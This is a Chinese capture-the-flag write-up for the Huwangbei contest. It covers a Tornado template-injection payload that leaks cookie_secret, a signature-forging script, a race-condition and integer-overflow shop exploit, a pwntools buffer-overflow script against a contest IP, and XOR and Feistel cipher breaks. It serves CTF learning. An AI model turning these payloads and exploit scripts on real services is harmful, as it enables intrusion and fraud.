WEB easy tornado

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
打开链接是几个文件的列表,分别打开,关注url和内容

容易看出来,读文件的url就是,filename=(想读的文件名)加上一个签名,而签名是md5(cookie_secret + md5(filename))

问题就在于cookie_secret是什么。又看到Orz.txt里面有提示 render(),这个是生成模板的函数,于是想到模板注入STTI。

在读取文件失败的这个链接中,发现STTI漏洞:

http://49.4.79.198:31809/error?msg=xxxx

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
但是发现有过滤,测试一下发现,过滤的特殊字符有:

"%'()*-/=[\]_|

结合Tornado框架,想到的是:

于是payload为:

http://49.4.79.198:31809/error?msg={{handler.settings}}

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
得到cookie_secret,利用这个cookie_secret,可以写脚本,来获得相应文件的签名值。

import hashlibcookie_secret=r'WhzKS{Z.*~k)L@XEt3UT%GB04(NAV[l1ojuD!-?]2Hg<rx}QmnCOpJ9+c8>&qI6s'def md5(code): temp = hashlib.md5(str(code)).hexdigest() return tempfilename = '/fllllllllllag'res = md5(cookie_secret + md5(filename))print res# 89e9876bc11ab55dcf9e68d3a8877ae6

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP

ltshop

注册账号,进入系统,发现我们有¥20
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
看一下要求
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP

看到第三个要求,很容易想到不是常规解法,可能会用到溢出。

但是问题在于就算是溢出,我们也应该至少能换一个辣条之王才行,但是我们只有20元,只能买4包辣条,一个辣条之王也换不了。
这里算是纠结了一下,最后想到利用条件竞争,试验发现一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条。利用burpsuite进行条件竞争:
这里多设置几个线程
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
看到已经购买到很多的辣条
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
再看此时的账户,已经有足够的辣条了。
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
下面考虑溢出:

**

**

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为:18446744073709551615 / 5 == 3689348814741910323

于是尝试:3689348814741910323+1 == 3689348814741910324

溢出后的值比较小,在辣条的数量之内,从而兑换成功。
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
注意另一点,溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,出现这种情况
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
此时的账户:
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
再兑换flag,即可:
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP

PWN

gettingstart

用 IDA 打开程序:
护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~-LMLPHP
发现可以溢出 buf 从而修改掉 v7 和 v8 的值来通过验证,所以构造利用脚本:

from pwn import *#p = process("./get")p = remote("49.4.78.31",30482)#gdb.attach(p)p.recv()payload = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)p.sendline(payload)p.interactive()

得到 flag :flag{e47ba37e5e4fe4d6538f91955c63ef23}

Misc

迟来的签到题

提示xor,base64解码后异或

写个脚本爆破下
import base64

str=base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')for n in range(30,126): flag='' for i in str: flag+= chr(ord(i)^n) if 'flag' in flag: print flag

Crypto

fez

fez.py

import osdef xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i])) return cdef f(x,k): return xor(xor(x,k),7)def round(M,K): L=M[0:27] R=M[27:54] new_l=R new_r=xor(xor(R,L),K) return new_l+new_rdef fez(m,K): for i in K: m=round(m,i) return mK=[]for i in range(7): K.append(os.urandom(27))m=open("flag","rb").read()assert len(m)<54m+=os.urandom(54-len(m))test=os.urandom(54)print test.encode("hex")print fez(test,K).encode("hex")print fez(m,K).encode("hex")

fez.log

Feistel加密方法,轮函数也是异或

这里给出了print出的值,所以知道

**

test的值 记为testtest加密的值 记为 testansflag加密的值 记为ans

**

test和用flag填充的m的长度都为54

加密使用的K值是不知道的,所以写不出解密函数,但可以通过给出的testans与ans异或使K消掉

记最后一轮flag加密后的为L7和R7,test加密的为tL7和tR7,初始test为tL0和tR0

则ai=tLi^Li=tRi+1^Ri+1^tLi+1^Li+1

而且Ri=Li+1

所以ai=ai+1^tLi+1^Li+1

最终得到L0和R0

exp

运行结果:

**λ python fez_exp.py
flag{festel_weak_666_lol88fj3820}叡↓泺y蝵:;铸醛o磋萸?**

 
05-11 12:50